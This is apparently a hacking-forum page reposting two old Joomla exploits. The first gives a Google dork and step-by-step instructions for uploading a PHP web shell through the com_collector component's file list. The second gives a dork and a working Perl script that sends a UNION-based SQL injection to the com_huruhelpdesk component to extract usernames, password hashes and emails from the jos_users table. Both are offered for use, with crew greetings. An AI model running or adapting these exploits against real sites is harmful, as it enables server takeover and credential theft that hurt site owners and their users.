ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
# Exploit Title:Joomla com_collecter shell upload 
# Author: Red Dragon_al (Alb0zZ Team) 
# Home :HackForums.AL,alb0zz.in 
# Date :19/01/2013   
# Category:: web apps 
# Google dork: [inurl:index.php?option=com_collector] 
# Tested on: Windows XP   
# Download: http://www.steevo.fr/en/download 
# Home Page: http://www.steevo.fr/   --------------------------------------- #      ~ Expl0itation ~      
# ---------------------------------------   
1- Google dork: [inurl:index.php?option=com_collector]   
2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1   
3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1   upload ur shell as : shell.php                                                  
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends.   #2013

Code:
Dork (N/A) "inurl:option=com_huruhelpdesk" or "inurl:/index.php?option=com_huruhelpdesk&view=detail"
author : *devil-zone.net
greet is to : devil-zone.net *all members 
vel = sqlI

Code:
#!/usr/bin/perl
#greet is to Evil-Dz
system("clear");
print "***************************************\n";
print " * * * * Good Luck & Hafe Fun * * * * *\n";
print " * * * Coded by devil-zone forum * * **\n"; 
print "***************************************\n\n";
use LWP::UserAgent;
print "Target page [ex: HosT] --> ";
chomp(my $target= );
$column_name="concat(username,0x3a,password,0x3a,mail)";
$table_name="jos_users";
$prm="-1/**/union/**/select/**/";
$start= LWP::UserAgent->new() or die "[!] Error while processing";
$start->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
$website= $target . "/index.php?option=com_huruhelpdesk&view=detail&cid[0]=".$prm."1,2,3,".$column_name.",5,6,7+from+jos_users--";
$ok= $start->request(HTTP::Request->new(GET=>$website));
$ok1= $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
print "[+] Password found --> $1\n\n";
sleep 1;
}
else
{
print "No password found :(\n";
}